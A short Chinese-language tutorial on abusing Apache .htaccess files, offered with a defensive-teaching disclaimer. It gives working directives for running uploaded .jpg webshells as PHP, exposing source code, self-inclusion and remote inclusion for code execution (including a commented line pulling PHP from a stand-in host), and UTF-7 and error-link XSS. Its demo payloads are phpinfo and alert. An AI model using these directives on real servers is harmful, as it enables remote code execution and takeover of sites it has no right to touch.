Apache服务器.htaccess利用

作者：小刚
一位苦于信息安全的萌新小白帽，记得关注给个赞，谢谢
本实验仅用于信息防御教学，切勿用于其它用途

了解.htaccess

.htaccess文件是Apache的一个配置文件（没有文件名，只有一个后缀），他是改变某一目录单独的配置。
通过htaccess文件，可以帮我们实现：网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

利用方式

通过文件上传方式，上传.htaccess文件到Apache服务器
通过文件写入方式，写入配置代码到.htaccess文件

实现效果

在.htaccess文件中写入以下内容

1.改变文件解码方式

 AppType    application/x-httpd-php     .jpg

经常使用在文件上传中，指定jpg后缀的文件为php解码方式。上传jpg的图片马，自动解析为php文件，即可实现getshell。

2.源码公开

php_flag engine 0

当.htaccess配置源码公开，将会在浏览器返回php源码内容。

3.文件包含与代码执行

php_value auto_append_file D:/123.txt

在打开index.php的同时会自动包含指定文件
文件包含会将被引用的文件当做php文件解码。

php_value auto_append_file .htaccess
#

包含.htaccess自身，同时执行PHP代码，实现php代码执行

4.远程文件包含与代码执行

php_flag allow_url_include 1
#php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
#php_value auto_append_file http://www.xxx.com/zzz.txt

将此目录下的远程文件包含配置打开，通过不同的远程包含方式包含目标文件，被引用的文件当做php文件执行。（#井号后为注释）

5.UTF-7编码实现XSS和PHP代码执行

php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
php_value auto_append_file .htaccess
#+ADw-script+AD4-alert(/xss/)+ADsAPA-/script+AD4 
#+ADw?php phpinfo()+ADs

设置编码方式，文件包含自身，将代码解码后实现xss和php代码执行（后两句为utf-7编码后的xss语句和php语句）

6.通过错误消息链接进行XSS

当php文件产生错误信息时候会触发xss

php_flag display_errors 1
php_flag html_errors 1
php_value docref_root "'>"

总结

.htaccess利用方式多种多样，控制了它相当于控制了半个Apache服务器。
防护措施就是做好文件上传防护措施，防止对文件的修改。